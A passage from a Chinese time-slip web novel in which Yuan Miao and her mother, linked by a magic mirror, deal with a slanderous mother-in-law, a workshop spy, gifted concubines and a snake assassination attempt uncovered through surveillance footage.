沈若君看到这一幕,忍不住了,正要过去理论,袁淼拦住了她。 接到的警察看到袁淼等人,一脸尴尬,他刚才把事情经过全告诉眼前的妇女,但她像是没听见一样,依旧沉浸在被害的幻想中。 袁淼冲警察点了点头,正要绕过去,舒玉琴看到了她,脸色就变了:“就是这个害人精!我儿子就是她害死的!” 她说着气呼呼过来了:“袁淼!我儿子哪里对不起你了?你要这样害他!” 她还没过来,就被拉住了。接待她的警察苦口婆心:“舒女士,不要乱说话!” “我没有乱说话!警察同志,是我儿媳妇亲口说的!我儿子就是被她害死的!” 舒玉琴说着哭了起来,“清阳啊,妈当初劝你不要跟她在一起,你就是不肯听!现在好了!她就是一个祸害!狐狸精!害死了自己的亲爸亲妈,现在又害了你!” 袁淼问身边律师:“伍律师,诽谤造谣污蔑他人名誉怎么判刑?” “我国第243条规定:捏造事实诬告陷害他人,意图使他人受刑事追究,情节严重的,处三年以下有期徒刑、拘役或者管制;造成严重后果的,处三年以上十年以下有期徒刑。” 袁淼看向舒玉琴:“舒阿姨,你听到了吗?” 舒玉琴愣了愣。 袁淼又说:“你诽谤造谣污蔑我名誉,我如果上述,你要受到法律处罚!” 舒玉琴缩着身子,躲到了警察后面:“袁淼,你,你别以为你几个臭钱就了不起了!这里是警察局!” 袁淼看向警察:“余警官!” 接待的警察转过身严肃说道:“舒女士,你刚才所说诋毁破坏了他人名誉,确实构成犯罪。如果袁小姐要起诉,你会受到刑法的处罚!” 舒玉琴不吭声了。 袁淼又问律师:“杀人未遂,人证物证都有,法律又怎么处罚?” “故意杀人的,处死刑、无期徒刑或者十年以上有期徒刑;情节较轻的,处三年以上十年以下有期徒刑。于未遂犯,刑法规定可以比照既遂犯在上述法定刑基础上从轻或者减轻处罚。” 袁淼看着舒玉琴。跟徐清阳交往期间,她跟舒玉琴打过几次交道,知道她的个性。嫌贫爱富,欺软怕硬。这些她都有。 对上这样的,只要比她强,比她有钱,她自己就会偃旗息鼓。 徐清阳都跟曾嘉宝结婚了,他的父母自然早就知道他们已经分手。现在敢往她身上泼污水,不过是过去的印象造成。 舒玉琴果然缩起脖子,目光畏畏缩缩,再不敢开口了。 袁淼不再理她了。张青云办好手续后,袁淼就坐到了徐海山的对面。 徐海山带着手铐,看了她一眼后,低下了头,焦黄的脸色一片死灰。 袁淼已经让人把徐清阳的死因告诉了他。她知道他的身体不好,这个或许也是徐清阳步入歧途的原因之一。 看着这样的徐海山,袁淼心里也有片刻不忍,但她更不想成为某些人的发泄口。 “徐清阳不是我害的!你们找错人了!” 徐海山低着头,一动不动。 “曾嘉宝的孩子不是徐清阳的!” 徐海山惊愕抬头,死灰一样的脸上迅速弥漫上愤怒。 袁淼又说:“他给自己找了一个替身,那个孩子是曾嘉宝和那个替身的!” 徐海山呆愣住了。 袁淼也将头扭到了一边。知道这件事情的时候,她也傻眼了。许久都没有缓过劲来。 但不管是亲子鉴定还是徐清阳身边的助理,都证实了这件事情的真假。 说完这些后,袁淼就离开后,在车上想起了梦中的场景。 “新江市化工厂还在吗?” “已经在破产重组了。” 破产重组,剥离不良资产,如徐海山这样的多半会被优化。 袁淼想了想:“徐清阳的父亲身体不好,需要照顾。你去打听一下,他现在还在不在化工厂。如果还在,跟化工厂的领导打声招呼吧……如果已经不在化工厂了,给他再找份工作。” “好!”沈若君答应了。 到了晚上,袁淼知道袁博文来了信,连忙找谢云溪要信看。 谢云溪不想给:“信是写给我的,你看什么?” 袁淼笑着说:“那下次爸爸跟我说了什么,我也不告诉你!” 谢云溪笑了,想了想信里的内容,也没有不能见人。 她把信传了过去。 袁淼看到信中的内容,脸色都不好了。她只猜到岭南关家想联姻的事情,不知道后面还来了一个湖溪齐王府。 这个齐王府想要拉拢她爸,居然给她爸送女人!关键是她爸居然说暂时不宜树敌太多,需要稳住,让她妈把东西收了。 看完信后,袁淼的呼吸都不畅了:“妈,你真的把齐王府送过来的东西都收了吗?” 谢云溪点头。 “人也收了?” “收了,就安置在后院。” 150-160 第151章 诱惑 袁淼整个人都不好了:“妈, 爸爸只是让你东西收了,没让你把人也收了!你怎么还把人安置在后院了?” “没事,那边院子里有摄像头, 她们一举一动监控室都能看到, 不要紧的。”谢云溪说。 齐王府的使者没走, 成墨涵还在湖州那边。既然要稳住他们, 就不能让人看出破绽。 “妈!不能大意!即便是有摄像头,也不一定能防住所有的阴谋诡计!” “我知道, 我会小心的。” 袁淼无语了,但人都进来了, 也不好马上就弄走。父母那边的局势复杂, 他们现在已经跟北凉和大顺朝廷撕破了脸, 没有缓和的余地了, 确实不宜再树敌。 “视频呢?她们进来的情况都拍下来了吗?住在哪里?距离你们住的院子远吗?” “都拍下来了。” 谢云溪把监控视频传给袁淼。 袁淼马上盯着看起来。 视频是从袁府的后院开始, 谢云溪亲自过去迎接了,一行十二个少女从马车上下来时带着帷帽, 领队的年纪也不大,模样儿娇俏,给谢云溪行过礼后,便让旁边的少女们也见过谢云溪。 念荟训斥了一句,领队的这才陪着笑脸, 让少女们取下了帷帽。 袁淼一眼就看到了排在右边第一位的少女。这一行中人她最白最亮眼, 那五官像是画上去的,每一笔美得恰到好处,身形婀娜窈窕。 袁淼顿时心塞,这小姑娘太漂亮了,长相与沈悦兰有的一拼, 年纪约莫十六七岁,与沈悦兰的清澈娇嫩相比,她更妩媚动人。 谢云溪四十多岁了,虽然现在看起来只有三十多岁的样子,颜值在同龄中人算是佼佼者,但是跟这样的小姑娘没法比。 其他几位少女也各有千秋,年纪都不大,一色的水嫩亮眼,映衬得周围环境也鲜亮起来了。 袁淼越看越心塞,齐王府送过来的这些女孩们个顶个漂亮,其中还有一个绝色,她看了都觉得赏心悦目,男人们被这样的少女包围,有几个能顶得住? 看完视频后,袁淼心里沉甸甸,但她也不想看到谢云溪难受。 “妈,这些人是齐王府送过来的,肯定别有用心!你们一定要小心!” 谢云溪笑着点头:“你放心吧!我知道怎么做。” 袁淼没法放心:“你们不能完全依赖监控设备!这东西有死角的!室内的情况就拍不到!” “我知道!我会注意的!” “还有啊,淮安现在还小,身边照顾的人一定要注意!不熟悉的人,一律不能靠近!” 谢云溪又点头。 袁淼又说:“妈!你不要多想。这些人虽然是齐王府送过来的,但是爸爸根本就没有把她们放在眼里!你看,爸爸信中是不是这样的?” 谢云溪不禁笑了。 “不过,你也不能大意!这些人能不见你就别见了!让人把她们看住!连院子门都不许出!” 等袁博文回来后,她一定要跟袁博文好好谈一谈。如果,袁博文有其他心思,她绝对站在母亲这一边。 谢云溪连忙点头。原本她心里有点想法。送过来的小姑娘们太漂亮了。但现在见袁淼是这个反应,她心里舒坦多了。 女儿贴心,瞬间就抚平了她心里的那一点不爽。 她都是快年过半百的人了,许多事情看透了。 美人儿不会少的。他们走了这条路,就不可能回头了。随着袁博文越来越显赫,更漂亮的美人儿还在后面呢。如果他现在就昏了头,倒给她省了一些事儿。 安抚好袁淼后,谢云溪又说起了棉纺厂的事情,拥有七十多个锭子的纺纱机已经制造出来了,念荟和胡冬梅都上过手,期间有一些小问题。 袁淼记了下来了。跟谢云溪联系过后,她就咨询了相关专家,把专家的意见反馈给了谢云溪。 谢云溪让人整改后,正准备再次测试,枫叶巷织坊来人了,他们抓住了一个企图进来的贼人。 谢云溪听到贼人是谁时,愣了愣:“康小月?” 袁归回话:“就是她!我问过了,那边院子的姜师傅和其他几位女工都认出了她。” 姜师傅,也就是姜云枝,她技术最好,管理能力也不错。 谢云溪坐不住了。沈悦兰和胡冬梅也看了过来。当初从北凉人的营帐里出来时,她们两人跟康小月住一间屋。 谢云溪让院子里收拾了一番,来到枫叶巷织坊,以前在院子里就能听见机杼声今天没有,女工们在窗口探头,有个别从房间里出来了。 姜云枝匆匆出来:“你们在看什么?该干什么赶紧干什么!” 从房间里出来的女工们又陆续进去了。 姜云枝来到谢云溪跟前见礼。谢云溪问:“人在哪里?” “在厨房里。”姜云枝一边领着谢云溪过去,一边将事情经过告诉了她。 自从得知织坊暂时不添人后,姜云枝就在康小月再次找过来时,把这个消息告诉了她,康小月听闻后哭了起来。 姜云枝心里虽然也不好受,但是枫叶巷织坊的实情确实如此。 她以为这次以后康小月会死心,谁知道没过几天,她又找了过来,甚至有一次在路上拦住了她。 姜云枝把这些事情告诉了同住的蒋新月,蒋新月一听就觉得不对劲。 哪有这么凑巧的事儿?她多久才出去一次,居然就遇到了康小月!话里话外还在打听织坊和袁府的事情。 姜云枝听蒋新月一分析,心里也是一惊。 她们都知道织坊的机器非同小可,比外面先进了许多,这里一个人可以抵外面十几个人的工。 夫人对她们有恩,她们的将来也落在织坊这里,可不能让人钻了空子,给利用了。 两人一合计,准备试探一下康小月。在康小月再次找过来,便佯装无意说起厨房这边靠院墙有颗桂花树,爬上去就能看到外面的情景了。 说完后,两人等了几日,就在昨日夜里看到有人翻过了院墙,从桂花树上爬了下来。 姜云枝说到这里,小心翼翼看了谢云溪一眼。 谢云溪一抬头,刚好看了到厨房旁边的桂花树。与院墙几乎挨着。她以前竟然没有想过会有人从那边爬进来。 宅子的院墙高,又有护卫把守和巡逻。她以为够了。没想到还有这样的漏洞。 不过,这样的漏洞,也只有长久住在这里的人才会想到。外面的人即便是看到了,不清楚院子里面的情况,也不敢贸然爬墙。 进到了厨房里,谢云溪就看到了被堵住了嘴巴,手脚都被捆上的康小月。 大半年不见了,这小姑娘变得她都要认不出来了。 以前圆圆的脸蛋变成了锥子脸,皮肤粗糙,头发枯黄,像是老了七八岁。以前可是水嫩的小美人的一个,又活泼,胆子也大。 康小月看到谢云溪,惊惶的眸子瞬间湿润,爬过来便要磕头。 贺天凤连忙拦在谢云溪身前。 康小月被堵住了嘴巴,依旧哭得泣不成声。 谢云溪心里不忍:“给她喝口水,让她说话。” 姜云枝和厨房的刘嫂连忙照办。 康小月被拿掉堵着嘴巴的布帛后,便哭泣着说:“夫人,我对不住你……” 谢云溪叹了口气:“我以前就说过,你们出去后,若是遇到了困难,可以来找我。你何苦翻院墙做贼?” 上次姜云枝告诉她康小月的事情,她就想到棉纺厂。只是那时候这件事情在她脑海里只是一个想法。不便透露太多。 康小月依旧在哭。 谢云溪问:“是谁让你这么做的?” “是……是锦绣布庄的周掌柜……” 谢云溪对这人没印象。袁归连忙低声说:“锦绣布庄在城东,是那一片最大的布庄,今年年初才开起来。” 谢云溪明白了。这周掌柜大概是初来乍到,见她的布庄赚钱,就把主意打到她的头上。 “他许了你什么好处?你这般卖命!” 康小月哽咽说:“周掌柜许了我哥三百两银子,嫂嫂说,我若是不听,她就让人牙子上门,免得我继续祸害全家……” “夫人,我不想听的,但我实在害怕,嫂嫂已经跟人牙子打听了价,她们说,我这样的,正经地方不会要,只有红院花楼才收……” 谢云溪虽然很少上街,但也听说过红院花楼的大名,那里是郴州城里有名的销金窟,秦楼楚馆林立。被卖到那里的少女能干什么众所周知。 康小月已经破了身子,即便是有几分姿色,落到那里,也不可能受到重视。 从前的噩梦还要再经历,光想一想,有的人就要发疯了。 姜云枝等人脸上都流露出悲戚。 谢云溪看了看袁归。袁归微微颔首。康小月所说,他已经让人查证过了,确证是事实。 这姑娘回家后,只有刚开始几天过了些安生日子,后来不知道被谁爆出她曾经在落到北凉人的营帐中。从那以后流言蜚语就没有消停过了。 更有甚者往她家的豆腐铺倒污秽之物,使得康家豆腐铺的生意一落千丈。她兄长性子懦弱,不善言辞,嫂嫂虽然犀利,却也说不过悠悠众口,便把气发到了她头上。 生计没了着落,左邻右舍都嫌弃。锦绣布庄的周掌柜找上门后,她哥哥嫂嫂就答应了。 这姑娘刚开始不从,人牙子上门后她就听话了。 “你害怕,就可以这么做吗?我记得你离开的时候说过,要报我的大恩大德,这就是你的回报吗?” “我建这个织坊,只是想让你们有个安身立命的地方。这里是有些秘密,但你若泄露到外面,留在这里的人势必会受到影响。你想过这些吗?” 康小月俯在地上,只一个劲哭。 谢云溪不想多说了,站起身来,这才发现厨房外面多了许多人。 织坊的女工们都过来了。见她转身,纷纷低下了头,让出了一条道来。 谢云溪看了看她们。刚才的一幕,她们应该都看到了。这样也好,外面的残酷,别人说千遍万遍,不如亲自体验一遍。 锦绣布庄的周掌柜她当然不会放过。棉纺厂马上就要建成了,各种机器正在陆续到位中。 现在就有人眼馋这里的织坊了,以后会有更多人盯上城东的棉纺厂,那里以后会给郴州带来惊人的收益,改变整个北地的发展格局,不让这些垂涎欲滴的人害怕,他们会一再试探。 “不是抓了三个人吗?还有两个在哪里?” “就在前院偏房。” “交给巡防营吧,让他们查清楚。郴州百废待兴,不能让人坏了规矩。” “是!”袁归答应了。 第152章 警告 没过几天, 巡防营那边就传来了消息,锦绣布庄的周掌柜不仅涉嫌不正当经营,还犯过草菅人命的大事, 巡防营已经把罪证上交给了府衙, 将相关人等一并抓拿了。 谢云溪知道后, 就让人把康小月送到了庄子里, 让人给她哥嫂带话,说是人已经被乱棍打死。 袁淼在忙公司年中事宜, 这天要参加的是矿产资源管理年度会议,她和林成章下车后, 遇到了熟人, 停下脚步说了几句话。间隙一抬头, 就看到了曾嘉宝。 曾嘉宝一改往日的习惯, 着一身黑色西装, 整个人看起来大不一样,眉宇间也不见了往日的嚣张, 变得畏缩拘谨。像是换了一个人。 曾嘉宝也看到了袁淼了。她着一身白色香风披肩,下搭利落的阔腿裤,既端庄又优雅知性,在一众肃重的黑灰色中格外显眼。 曾嘉宝抓着包的手不由自主收紧了,心里瞬间翻滚起一股戾气, 有一种想要冲过来撕烂袁淼的冲动。 前不久徐海山和舒玉琴来到公司大闹了一场, 现在公司上上下下都知道她的儿子不是徐清阳的种,而是洗浴中心一个酷似徐清阳的洗脚工的种。 徐清阳都跟她结婚了,也不愿意睡/她,找了这么一个替身。 洗浴中心!洗脚工! 光想一想跟她做的是这么一个人,她都要发疯了。 这件事情虽然暂时压下来了, 但是每每她到公司,都能感觉到那种如影随形看笑话的目光。 这一切都是拜袁淼所赐! 曾嘉宝旁边的曾辉耀连忙轻咳了一声,提醒曾嘉宝千万要冷静,自己则笑脸招呼上了:“沙总!林总!你们什么时候来的?怎么不进去?” 袁淼盯着曾嘉宝,林成章看了袁淼一眼,脸上的笑收了,湖钢集团的沙总打了个哈哈:“马上要进去了!” 话出口后,他也敏锐察觉到气氛不对劲了,对于曾辉耀凑过来的热乎也不想敷衍了。 曾辉耀像是没看到一样,亦自笑着说:“沙总,你们集团公司今年不错啊,产量又上了一个台阶。” 沙总呵呵笑了笑,也不接话。 曾辉耀脸上笑容不减。形势比人强,辉华矿业经历了这次风波,已经岌岌可危。而眼前的这几位如日中天。尤其博云矿业,异军突起,仅上半年的盈利就远超过了辉华矿业去年全年的盈利。 “林总,你们博云矿业今年的形势也很好,一举扭亏转赢……” 林成章挂着笑,低着头,一声不吭。 曾辉耀说了几句,便邀:“走走走,差不多了,我们一起进去!” 袁淼没动,林成章和沙总也都没有动。 曾辉耀的脸色挂不住了,心里恨得咬牙。 不过是个卖/逼的,靠着男人给资源介绍人脉才进的这个圈子,竟然真把自己当个人物了。 但他也知道袁淼惹不起,宋记不仅是奢侈品行业的龙头,在矿企这行也颇有份量。百年世家,与上面许多大佬关系匪浅。 他只敢在心里腹诽袁淼。 曾嘉宝则将对袁淼的怨恨清清楚楚写在了脸上了。她翻了一个白眼,暗地里骂了一句。 袁淼看到了:“曾总,你的眼睛怎么回事?是肌肉麻痹还是癫痫?要不要找个医生看看?” 忍了许久的曾嘉宝终于绷不住了:“袁淼,你别太过分!” 袁淼笑了:“我过分?曾总说一说,我怎么过分了?” 林成章和沙总都看向曾嘉宝,曾辉耀也是一副恨铁不成钢的样子。 “我想起来了!曾总是怪我揭露了你儿子的身世吗?” 曾嘉宝的脸色变了。 剖腹产子后,儿子就被抱走了,她被徐清阳关了几个月,期间吃尽了苦头。出来后却得知自己的儿子是一个洗脚工的种。 现在,她看到那个小东西,就觉得恶心。但袁淼却偏偏不肯放过她,居然把这事告诉徐海山和舒玉琴。 现在又当众提起!这是她的耻辱! 曾嘉宝想打人了,但被曾辉耀拉住了。 曾辉耀脸色严厉,低声警告:“嘉宝!你想干什么?冷静一点!别忘记了这是什么地方!” 曾嘉宝呼吸不畅,瞪着袁淼。 来这里之前,曾辉耀跟她说过好几次。如今他们今非昔比,名下的两座矿山已经枯竭,公司负债累累。不能再像过去一样了。 如果不能尽快找到合作的伙伴,或者有资金注入,公司就要面临破产了。 年度矿产资源管理会议是由省自然资源厅组织的大会,到位的无一不是业界大佬。他们费了好一番心思才拿到这个参加的资格。这里可不是能随便发脾气的地方。 曾辉耀安抚了曾嘉宝,又皮笑肉不笑对袁淼说:“袁总,大家都是同行,你这样处事是不是不太好?” 袁淼凉凉笑着:“不太好吗?我不觉得!有人到处造谣,诋毁破坏我的名誉,我只不过是实话实说,把事实真相说了出来,这比你们煽动他人行凶,要好多了吧?” 曾辉耀愣了愣,关于徐清阳,有的事情他知道,有的事情他并不知道。 但前几天徐清阳的父母到公司大闹,确实够劲爆。 原来这个消息是袁淼告诉徐清阳的父亲徐海山吗? 沙总左右看看,一脸八卦:“什么真相?” 曾辉耀回过神来。家丑不可外扬。他连忙拉住沙总:“走走走,我们进去,时间差不多了!” 沙总不动,笑呵呵说:“你们先进去吧!” 曾辉耀还要说话,但眼角余光看到正在下车的宋颜,他心里一惊,不再坚持了。 “那行,我们先进去了!”说完,赶紧拉着曾嘉宝要走。 袁淼叫住了曾嘉宝:“……你们的事情与我毫不相干!如果再往我身上泼污水,别怪我不客气!” 她已经厌倦了把精力耗在这些事情上面。曾嘉宝如果再给她添堵,她不介意让她身败名裂。 曾嘉宝脸上青一阵白一阵。周围看过来的目光越来越多了。她心里也怕了起来。 这些人里面肯定有记者。这样会议一般会在媒体上报道出来,如果她的事情也在媒体上爆出来…… 曾嘉宝打了一个寒噤。 曾辉耀皱着眉头,拉了曾嘉宝一把,曾嘉宝这才回过神,连忙失魂落魄跟上了。 到了会场门口,曾嘉宝不由得回头看了一眼。袁淼正站着人群中间,身边除了先前的几位矿业公司老总,还多了一个儒雅矜贵的年轻男子。 曾嘉宝认出他就是宋颜,百年世家宋记现在的当家人。 他望着袁淼,眸子里的宠溺几乎要溢出来了。 曾嘉宝咬牙切齿。 先是徐清阳,后是周晟,现在又多了一个宋颜!袁淼,她到底有什么好? “我不是跟你说过了吗?这样的场合非同小可,不能任性!你怎么不听?” 曾辉耀还在埋怨。 “那些人现在咱们一个都得罪不起!尤其是宋颜!人家那底蕴可不是咱们能比……” “要是让他知道,你在针对袁淼,辉华矿业就完了!那可是你爸一生的心血……” 曾嘉宝听着这些埋怨,想起袁淼的突然崛起,以前她以为她是靠上了周家。原来并不是,人家靠上的是宋记!一山更比一山高! 有了宋记背书,她要什么样的珍宝没有?宋颜不仅给钱帮助她开珠宝店,还帮她收购了一家矿企! 她怎么就遇不到这样的男人? 袁淼不知道曾嘉宝嫉妒她嫉妒得要发疯了,会议结束后,她推了宋颜的邀请,早早回了家。盯着监控视频看。 这已经成了她每天必做的事情。 齐王府送给袁博文的美人儿已经在父母的后院里住了大半个月。 那院子距离父母居住的院子有些距离,门口有人看守。住在里面的人鲜少出去。即便是出去,身边也跟着人。 她们住的院子也就比篮球场略大些,一字排开了五间正房,另又有左右两间耳房。 最漂亮的那个叫芸娘,她单独住了一间屋,身边还有个十三四岁的小丫头。芸娘几乎足不出户,她身边的小丫头倒是个活泼的,经常串门,也跟院子门口看守的婆子处的不错。 很是有间谍的潜质。 袁淼盯着这一对主仆的时间最长,眼睛都不敢眨。晚上的视频,她看得更加仔细。 夜深人静的时候,也是各种妖魔鬼怪出没的时候。 但是这天袁淼看得时间太长了,眼睛都有些不舒服了。 点了暂停之后,袁淼喝了一碗汤,揉了揉眼睛,突然发现暂停的视频中有一条细长且弯曲的黑线,看起来并不像树枝等之类。 袁淼以为自己眼花了,连忙又揉了揉眼睛,再次盯着看。黑线依旧在那里,细细的一条,不仔细看,很容易就忽略了。 她放开了暂停,赫然发现那条黑线飞快游走起来,几乎眨眼的功夫就到花坛边上。 袁淼吓得不轻,连忙又点了暂停。赶紧敲了敲镜子。好一会儿后,谢云溪才出现在镜子里面。 袁淼紧张说道:“妈,昨天晚上的视频你看过了吗?” 谢云溪是听到动静后爬起来的,发髻松散,披着衣裳,身后的烛火晃荡。已然正值夜深。 她看到袁淼后,立刻就感觉到她的紧张了:“怎么了?昨天的视频我都看过了!” 后院住了一群来意不善的美人儿,她也不敢大意。不仅让人看守着,那边每天的视频也是必看。 袁淼把电脑屏幕转了一个方向:“有蛇!你赶紧看看淮安!” 谢云溪的脸色骤变,连忙转身,揭开薄被,刚刚抱起袁淮安,就看到不远处的地上盘旋一团黑乎乎的东西。 第153章 瓮中 烛火照耀下, 两点幽幽绿光让人头皮发麻。那蛇已经半身立起,吐着信子,成攻击之势。 谢云溪的反应极快, 看清楚真相后, 一把抓起旁边的薄被铺盖过去。那蛇也弹跳起来, 但终究慢了片刻, 被薄被拦住后盖了下来。 谢云溪又马上摸出手枪一顿射击。响动很快招来了人,贺天凤踹开房门, 如一股风迅速来到了谢云溪旁边。 “夫人!” 谢云溪惊魂未定,指着地上说:“那里有蛇!看看还在不在?” 贺天凤的脸色变了, 将谢云溪护到身后, 用剑小心翼翼挑起了地上的已经千疮百孔薄被。 一条长约一尺三寸点缀了少许白色花纹的黑蛇出现了, 蛇身已经中了数枪, 但还没死透, 依旧蠕动着。 贺天凤一剑穿透了蛇头,那蛇方才不动了。 念荟进来的时候, 刚好看到了这一幕,不由得惊呼出声。 谢云溪腿脚发软,这才知道后怕。不由得看了看镜子,袁淼依旧在里面,一张脸已经惨白, 眸子里满是紧张和担心。 谢云溪知道其他人看不到镜子的变化, 但她仍然摇了摇头,示意自己没事,让袁淼断开。 袁淼点头,一会后镜子里面什么都没有了。 只这片刻间,房间里冲进来了许多人。谢云溪被众人团团围住, 她身上的里衣已经湿透了。 定了定神后,谢云溪说:“到处看看,还有没有蛇?” 念荟等人虽然很害怕,但仍然马上都行动了起来,各自举了烛火在屋子里仔细寻找。 贺天凤护着谢云溪,手持长剑,警惕且小心翼翼看着周围。 院子里也喧闹起来了,袁归冲了进来,看到地上的蛇时,腿脚一软,差点站不住了。见谢云溪和袁淮安都还安好时,他这才松了一口气。麻溜过来。 谢云溪对袁归说:“把这蛇弄出去,让贺掌门和连护卫看看,是什么蛇?府里其他地方许是还有,大家都小心点!” 袁归应下了,把蛇挑了出去。 连虎和贺威也已经来到了院子里,看到蛇后,两人的脸色都变了。 贺威见多识广:“这是过山风!最是狠毒,一旦被咬,一柱香内必会毙命!” “过山风?这不是南边的蛇吗?怎么会出现在这里?”连虎惊问。 他和贺威对了下眼色,都很快就知道了答案,南边多见的蛇突然出现在这里,自然是有人带过来的。 还能在这里出没,背后肯定有人驱使。始作俑者说不定就在附近。 连虎追了出去。 贺威也让身边的人在院子里戒备和搜找起来。 待到天亮后,府里各处搜查的结果也出来了。并没有发现第二条蛇。不过,护卫们搜到一些东西,但凡有丁点疑惑的都送到谢云溪面前来。 谢云溪一夜没睡,这次的事情也把她吓到了,她以为自己做好了防范,没想到还有这样手段。 如果不是袁淼警觉,这天晚上多半有人会中招。如果被咬的是她,反应及时,有可能会捡回一条命。 但如果是孩子,基本上必死无疑。袁淮安还不到半岁,被咬了只会哭,不会说话。找原因的时间,就足以毒发身亡。 过山风,毒性强烈,被咬后发作迅速,需要注射大量的抗毒血清解毒。抗毒血清,她这里并没有常备。 这种极少数情况下使用的急救类药品,袁淼也不会预备。 到处联系药品的时间,说不定她也撑不过去。 只要想到被咬的后果,谢云溪心里就发寒,这是要置她和孩子于死地!手段狠毒。看来,她还是小瞧了这里的人。 看着府里各处搜查到的物品,谢云溪站了起来,一一看过。 袁归亲自主导了这次的搜查,就差把整个袁府翻了个底朝天。尤其倚香院那边,搜查的最仔细。但凡不是府里的东西,他都让人收了,全部送了过来。 谢云溪在看,袁归就在一边介绍,各是哪里搜到的,主人是谁。 要换在昨晚之前,谢云溪一定会觉得袁归有些小题大做了,但是现在她不这么想了。 危险处处都有,决不能再马虎大意了。 看到谢云溪的目光落到一些胭脂俗粉上面,袁归连忙说:“这些是倚香院搜到的……这里付大娘子屋里搜到的,这是芸姑娘屋里搜到……” 谢云溪打开一个胭脂盒看了看,放下后又拿起了一个精致的玉盒,里面是数十颗黑黝黝的小药丸。她闻了闻气味,有股淡淡腥味。 “这是芸姑娘自制的养颜丹。” 谢云溪对念荟说:“去拿几个试管过来。” 念荟应下了,没一会儿就拿来了十几根试管。 谢云溪倒了几颗养颜丹,又挖了些胭脂,水粉和香料等之类也没有放过,各取了一点放进了试管里。 转头又对袁归说:“把这些送到军中医属,让刘医官看看,都是些什么。” 外面的郎中,她不知道根底,不敢轻信。但军中医属的刘泰海她信得过。 分析物质成分,中西医各有千秋,两者结合,才是最优。 袁归应下了。谢云溪又指了几样,袁归一并让人收了。 谢云溪看过后问:“倚香院的人没有闹吗?” 倚香院,就是齐王府送过来的那些美人儿居住的院子,袁淼也是那边附近发现了蛇。 不过,除了搜到的这些,连虎等人目前并没有在那里发现其他异常。 昨天晚上连虎追出去后,站在屋顶俯瞰全城时,瞧见了一个黑衣人,但对方十分警觉,不等他追来,几个起落后便不见了踪迹。如今巡防营已经将黑衣人消失的整个紫云巷严密监视了起来。 “有几个哭闹的,不过现在消停了。”袁归如实回答。 出了这么大的事情,还敢闹?要不是担心会坏了老爷和夫人的大事,他一定会将倚香院的那些玩意儿全收进大牢里。不招,就往狠里上!竟然敢把主意打到夫人和小少爷头上!都不想活了! 哭闹的,扇了几个嘴巴子,全都老实了! 他已经跟厨房说了,事情没有查清楚之前,那院子里一碗水都不许送进去! 什么东西?一来就出了这么大的事情,即便不是她们干的,也多半与她们有关。 “看严点,不过别闹人命。” 谢云溪知道袁归是绝对会站在她这一边,端看他的脸色和语气,就知道倚香院那边的美人儿现在一定很惨。 虽然她也很生气,但是没查清楚之前,她不想闹出人命来。 “是!” 谢云溪又交待了几句,让人把送过来的这些东西先收到一边。 打发了身边的人后,她坐了下来。这次属实吓到了,现在一个人在房间里,坐下来都不安心了。 袁淼也一夜没睡,这天公司里的安排也全部都推了,一直守在镜子跟前。现在见到了谢云溪,她松了一口气。 “淮安没事吧?他现在在哪儿?” “没事!他现在就在隔壁,身边有念荟和贺天凤。” “好!”袁淼到现在都惊魂未定,“房间里都看过了吗?院子里呢?都仔细检查过了吗?说不定还有蛇!” “都看过了!整个府里都搜了一遍,没有发现第二条蛇!” 袁淼拍了拍胸口,等待的这段时间里,她又把这些天的视频看了一遍。 “妈,我把这几天的视频又看了一遍!除了昨天晚上,我又发现了几处可疑的地方。” 她说完后,把视频中发现的几处可疑的地方指给谢云溪看。 袁府的摄像头虽然覆盖了整栋宅院,但对宅院周围的拍摄并不多,屋顶也是死角之一。袁淼这次的发现就是后院一墙之隔的街道上。 这条街道虽不宽广,但人来人往,也算热闹,几处的监控都拍到了一个梳着双髻的少女出没。有时候是在买东西,有时候貌似在闲逛,但那神态分别在打探旁边的袁府。 谢云溪看到视频中的丫鬟时愣了愣。 袁淼分析:“……妈,你仔细看她的眼神,是不是在观察袁府?她刚才买东西的时候,表情更明显!” 可惜,摄像头对这条街道的拍摄并不多,只有两段,她看不到这个人来自哪里。 谢云溪迟疑了一会儿:“我好像见过她……” 袁淼愣了愣:“你见过她?” “淮安满月的时候,庄静等人上门,送了不少礼物,其中有个丫鬟跟她很像。” 袁淼连忙调出以前的视频,找到袁淮安满月,庄静等人上门祝贺的视频。 那天出现的人不少,除了庄静关景钰关景澜外,庄老夫人和周氏也一起过来了,她们身边都跟着贴身侍候的丫头和婆子。 主子和奴仆们的服饰不一样,那天袁淼的注意力主要放在庄静等人身上,对跟在她们身边的丫头和婆子并没有过多关注。 这次调出来仔细一看,果然对上了。是同一个人。那次上门的时候,这个丫鬟就跟在关景澜身边,虽然不是最前列的一个,但期间分明与关景澜有好几次目光接触。 这种心领神会的熟稔只有长久相处才能训练出来。 这个丫鬟是关景澜的心腹! 看完了这些,袁淼明白了:“妈,关家并没有死心!” 谢云溪点头,她也看出来了。关景澜依旧盯着她的位置。她把今天收集的试管拿了出来。 “淼淼,这些都是在倚香院搜到的,有的是胭脂水粉,有的是香料,还有的是一些其他用品。我都取了一些标本,你能不能找个检测机构看看,这些里面到底是什么东西?有什么作用?” 她现在不敢小觑了这些女人们的手段。 第154章 捉鳖 袁淼答应了, 又问:“还有其他发现吗?昨天晚上的视频你看过了吗?” 谢云溪还来不及看昨天晚上的视频,不过,她已经让袁归把视频拿了过来。 先给袁淼传了一份后, 谢云溪和袁淼一起看了起来。这次目标明确, 袁淼很快就发现了问题。 从发现蛇的时间往前倒推。院子里安静下来后, 各处的灯陆续灭了, 一条黑线从草丛中飞快游走出来,爬上了门槛, 钻进了屋里。 蛇是从院子外面墙角跟溜进来的,它沿着墙角游走, 时而又出现草丛中, 目的性非常明确。 袁淼一直盯着它的踪迹, 突然说道:“妈, 你快看屋顶!” 谢云溪询问了时间后, 调到了袁淼所说的节点,很快就在一片暗淡的光景中发现了一个黑衣人。他蹲在屋顶上, 视频只拍到半个身子,一袭黑衣几乎与夜色融为了一体,不仔细看根本就发现不了。 他手中持着一根像是长笛的细管,正放在嘴里吹奏着,但声音微不可闻。 一会后停了下来, 像是察觉到了什么, 脸色变了,一把拉下蒙面后,一跃而起,再也不见踪影。 谢云溪又将视频倒了过去,暂停在黑衣人放下长笛的时刻, 再放大对方的脸,出现在屏幕上的是一张冷峻清秀的脸,正是关景澜身边的丫鬟。 “是关景澜身边的丫鬟!”袁淼说,“这件事情肯定与他们有关!他们想嫁祸齐王府!” 谢云溪也想到这一点,即便是气极了,恨不得立刻就让对方付出代价,她也不由得佩服岭南关家。 好一招借刀杀人! 如果没有监控视频,有谁会想到这件事情会与岭南关家有关? 